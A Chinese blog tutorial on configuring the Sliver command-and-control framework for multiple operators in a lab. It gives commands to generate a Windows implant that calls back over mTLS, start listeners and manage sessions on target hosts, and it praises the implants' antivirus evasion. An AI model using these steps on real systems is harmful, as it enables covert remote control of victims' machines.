在前面的一篇文章中,我们讲到了
Sliver
框架的使用。如果是单用户模式,我们在服务端玩就足够了。但是Sliver
是支持C2
结构的(即服务端和客户端)。本文我们一起来研究吧!注:本文仅作为学习和研究,请勿非法使用。
Sliver
在设计上是考虑了多用户以及多平台生成相关Shell。
实验环境
- Sliver Server (192.168.123.23)
- Sliver Client (192.168.123.74)
- 靶机 (192.168.123.129) 配置服务端 在前面的文章中,我们已经大致了解了服务端的安装和启动。由于网络问题,建议直接下载编译好的文件。
启动服务端
代码语言:javascript复制./sliver-server_linux
如果是单用户,到这步已经完成了安装,可以直接在终端执行相关命令。但如果是多client协同则还需要进行下面的步骤。
生成Client配置文件
代码语言:javascript复制new-operator --name Dabiaoge --lhost Server服务器IP #新建一个client
multiplayer #启用多用户
这时,会生成客户端的配置文件/root/tool/Dabiaoge_192.168.123.23.cfg
,这里我只生成了一个用户,如果有多个用户,修改name
的值就行了。需要注意的是,server
端默认监听的端口为31337
。如果要修改的话 vim ~/.sliver/configs/server.json
Sliver Client安装配置
这里为了方便,我们还是直接用编译好的Client
将刚才服务端生成的配置文件.cfg
上传到客户端。
导入配置文件
代码语言:javascript复制./sliver-client_linux import /root/tool/Dabiaoge_192.168.123.23.cfg
这样就完成了C/S架构的Sliver安装配置。
生成shell
命令格式如下:
代码语言:javascript复制generate --mtls <Server IP> --save ./test.exe --os Windows
命令详解:
--mtls
:监听协议(包括http、mtls、grpc )
开启监听
如上一步,我们生成shell所用的监听协议为mtls
,故我们要配置mtls
类型的监听。
在终端执行命令
代码语言:javascript复制mtls
通过输入jobs
命令,可以查看目前开启的监听。
默认端口是8888
如果要指定端口,执行命令
mtls -l 9999
查看生成过的shell
代码语言:javascript复制implants
运行shell后,server和client端都会得到会话的消息。主要包含session id、外网IP、主机名、平台、时间等等。
会话操作
代码语言:javascript复制sessions -i id #进入会话
sessions -k id #结束会话
进入会话后,就和msf的控制台一样了。通过help
命令,我们可以得到相关的执行参数。
总结
在我看来,Sliver
最大的优点在免杀效果要远远胜于其他几个框架。可玩性也比较高,安装简单并跨平台。但是生成的Shell相对来说比较大。
版权属于:逍遥子大表哥
本文链接:https://cloud.tencent.com/developer/article/2171683
按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。